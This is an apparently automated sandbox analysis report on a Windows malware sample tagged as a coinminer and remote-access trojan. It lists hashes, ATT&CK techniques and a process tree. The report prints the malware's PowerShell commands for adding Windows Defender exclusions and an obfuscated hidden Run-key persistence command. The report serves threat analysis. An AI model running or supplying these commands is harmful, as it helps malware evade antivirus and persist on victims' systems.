220bd6b97a77b0f4a3526cc7ae28b80e99f3425c8d2aa5abe871795f1f47b476

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 04:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-17_64cf9bcb5374d1e000c05c09870c10c9_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Size 6.7MB
Sample260817-fedq6aem2v
SHA256 220bd6b97a77b0f4a3526cc7ae28b80e99f3425c8d2aa5abe871795f1f47b476
MD5 64cf9bcb5374d1e000c05c09870c10c9
SHA1 2ddab62f7fb8d3e13d6179a1c2c8a188780e994e
SHA512 f1509ae2394f104a1a3877d23da74f632ef9d887f9a7251fd6789be1e272d8e0fe2e3df6b74db6f831e15792b622f79634fd96c30cb90fcde3f42918f219c7b3
SSDEEP 49152:xXl47m1o4jUt+5xPWMD8RCPFPewx6g6MQMRz18jfCBmjUD5fqThKQK1K6RMv6ahN:xXeiKAJd6gx95GKMSRMrE
TLSH
T117664907ECA514E9C0ADD1358A6796527B717C481B3223D72B90F2283F77BE0AEB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6128	powershell.exe
5428	powershell.exe
2288	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	2276	2026-08-17_64cf9bcb5374d1e000c05c09870c10c9_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe

Executes dropped EXE 4 IoCs

pid	Process
2736	305642c3014abd23.exe
1864	305642c3014abd23.exe
2024	DwJuuxZEWFQz.exe
4844	DwJuuxZEWFQz.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Windows\CurrentVersion\Run\DwJuuxZEWFQz = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$ly3ezq=[System.Environment]::TickCount;$ldh3zl=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$oevwr2=Get-Date;$0dz22l=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXER3SnV1eFpFV0ZRei5leGU=')));$ngnyn2=$env:COMPUTERNAME;& $ldh3zl -FilePath $0dz22l\""	305642c3014abd23.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2736 set thread context of 1864	2736	305642c3014abd23.exe	93
PID 2024 set thread context of 4844	2024	DwJuuxZEWFQz.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	2	Go-http-client/1.1
HTTP User-Agent header	4	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
6128	powershell.exe
6128	powershell.exe
6128	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
5428	powershell.exe
5428	powershell.exe
5428	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeIncreaseQuotaPrivilege	6128	powershell.exe
Token: SeSecurityPrivilege	6128	powershell.exe
Token: SeTakeOwnershipPrivilege	6128	powershell.exe
Token: SeLoadDriverPrivilege	6128	powershell.exe
Token: SeSystemProfilePrivilege	6128	powershell.exe
Token: SeSystemtimePrivilege	6128	powershell.exe
Token: SeProfSingleProcessPrivilege	6128	powershell.exe
Token: SeIncBasePriorityPrivilege	6128	powershell.exe
Token: SeCreatePagefilePrivilege	6128	powershell.exe
Token: SeBackupPrivilege	6128	powershell.exe
Token: SeRestorePrivilege	6128	powershell.exe
Token: SeShutdownPrivilege	6128	powershell.exe
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeSystemEnvironmentPrivilege	6128	powershell.exe
Token: SeRemoteShutdownPrivilege	6128	powershell.exe
Token: SeUndockPrivilege	6128	powershell.exe
Token: SeManageVolumePrivilege	6128	powershell.exe
Token: 33	6128	powershell.exe
Token: 34	6128	powershell.exe
Token: 35	6128	powershell.exe
Token: 36	6128	powershell.exe
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeIncreaseQuotaPrivilege	5428	powershell.exe
Token: SeSecurityPrivilege	5428	powershell.exe
Token: SeTakeOwnershipPrivilege	5428	powershell.exe
Token: SeLoadDriverPrivilege	5428	powershell.exe
Token: SeSystemProfilePrivilege	5428	powershell.exe
Token: SeSystemtimePrivilege	5428	powershell.exe
Token: SeProfSingleProcessPrivilege	5428	powershell.exe
Token: SeIncBasePriorityPrivilege	5428	powershell.exe
Token: SeCreatePagefilePrivilege	5428	powershell.exe
Token: SeBackupPrivilege	5428	powershell.exe
Token: SeRestorePrivilege	5428	powershell.exe
Token: SeShutdownPrivilege	5428	powershell.exe
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeSystemEnvironmentPrivilege	5428	powershell.exe
Token: SeRemoteShutdownPrivilege	5428	powershell.exe
Token: SeUndockPrivilege	5428	powershell.exe
Token: SeManageVolumePrivilege	5428	powershell.exe
Token: 33	5428	powershell.exe
Token: 34	5428	powershell.exe
Token: 35	5428	powershell.exe
Token: 36	5428	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 2736	2276	2026-08-17_64cf9bcb5374d1e000c05c09870c10c9_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	90
PID 2736 wrote to memory of 6128	2736	305642c3014abd23.exe	91
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2736 wrote to memory of 1864	2736	305642c3014abd23.exe	93
PID 2288 wrote to memory of 2024	2288	powershell.exe	97
PID 2024 wrote to memory of 5428	2024	DwJuuxZEWFQz.exe	99
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101
PID 2024 wrote to memory of 4844	2024	DwJuuxZEWFQz.exe	101

C:\Users\Admin\AppData\Local\Temp\2026-08-17_64cf9bcb5374d1e000c05c09870c10c9_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-17_64cf9bcb5374d1e000c05c09870c10c9_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Downloads MZ/PE file
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Users\Admin\AppData\Local\Temp\305642c3014abd23.exe
  C:\Users\Admin\AppData\Local\Temp\305642c3014abd23.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\305642c3014abd23.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6128
- - C:\Users\Admin\AppData\Local\Temp\305642c3014abd23.exe
    C:\Users\Admin\AppData\Local\Temp\305642c3014abd23.exe
    3⤵
    - Executes dropped EXE
    PID:1864

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ly3ezq=[System.Environment]::TickCount;$ldh3zl=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$oevwr2=Get-Date;$0dz22l=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXER3SnV1eFpFV0ZRei5leGU=')));$ngnyn2=$env:COMPUTERNAME;& $ldh3zl -FilePath $0dz22l"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Users\Admin\AppData\Roaming\DwJuuxZEWFQz.exe
  "C:\Users\Admin\AppData\Roaming\DwJuuxZEWFQz.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DwJuuxZEWFQz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5428
- - C:\Users\Admin\AppData\Roaming\DwJuuxZEWFQz.exe
    C:\Users\Admin\AppData\Roaming\DwJuuxZEWFQz.exe
    3⤵
    - Executes dropped EXE
    PID:4844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
MD5 9e67f340014cbaf62f2fb8c7a539d21b
SHA1 f0ed976f190cbdf1b9b643c93b97d101cb87e3ae
SHA512 9c86e7c8cfd1971b16e7b82d6ab9c9539e115402d205efff6f2ef941bc0e09a479e31ecff8a3510c8c7ade3f65cdab7b4f1eda357438b854be29349aaccb93e6
TLSH
T1E7216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E659A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

305642c3014abd23.exe

Path C:\Users\Admin\AppData\Local\Temp\305642c3014abd23.exe
Size 950KB
SHA256 4497f9e0333626301f1323dd13b73acba289c4ab7009f4b3dfc2c8349f5324a3
MD5 38955c482bfe85867ee9f3323a2aa68d
SHA1 5a01b2029f173ca53bb00a7c394adb281084a2d1
SHA512 3f4a052d0bbe119421a4afcff8c56bd84ab5de1eb520bb2df21aea71b2e39d43b866c976653f4258298cba10c3b9408280b117e556519abc6a96a6c9edb8c5ef
SSDEEP 24576:I7Huqc9Uzs/Hd1T8Tkd202yTgoe9gPfkKr3zExV+XR1:IlI1WTkd2ZpoeifkKrzyV+X7
TLSH
T14D2501546615F901DA935BF85930FBB81BB85EC8AD10D3038EE9BEFB7C6670529482C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_pznvxeaz.xfp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pznvxeaz.xfp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1864-13-0x0000000000400000-0x0000000000487000-memory.dmp

Download

memory/2736-11-0x00007FFD33F40000-0x00007FFD348E4000-memory.dmp

Download

memory/2736-15-0x00007FFD33F40000-0x00007FFD348E4000-memory.dmp

Download

memory/2736-9-0x000001C9EB960000-0x000001C9EB980000-memory.dmp

Download

memory/2736-10-0x00007FFD33F40000-0x00007FFD348E4000-memory.dmp

Download

memory/2736-7-0x00007FFD33F40000-0x00007FFD348E4000-memory.dmp

Download

memory/2736-12-0x000001C9ED9C0000-0x000001C9EDA86000-memory.dmp

Download

memory/2736-6-0x00007FFD33F40000-0x00007FFD348E4000-memory.dmp

Download

memory/2736-8-0x00007FFD33F40000-0x00007FFD348E4000-memory.dmp

Download

memory/2736-4-0x00007FFD340CF000-0x00007FFD340D0000-memory.dmp

Download

memory/2736-5-0x000001C9E92D0000-0x000001C9E93C0000-memory.dmp

Download

memory/5428-37-0x000002E89D340000-0x000002E89D3F2000-memory.dmp

Download

memory/6128-22-0x000002AFA0A60000-0x000002AFA0B12000-memory.dmp

Download

memory/6128-23-0x000002AFA0B20000-0x000002AFA0B2A000-memory.dmp

Download

memory/6128-21-0x000002AFA0A40000-0x000002AFA0A5E000-memory.dmp

Download

memory/6128-18-0x000002AFA0770000-0x000002AFA0792000-memory.dmp

Download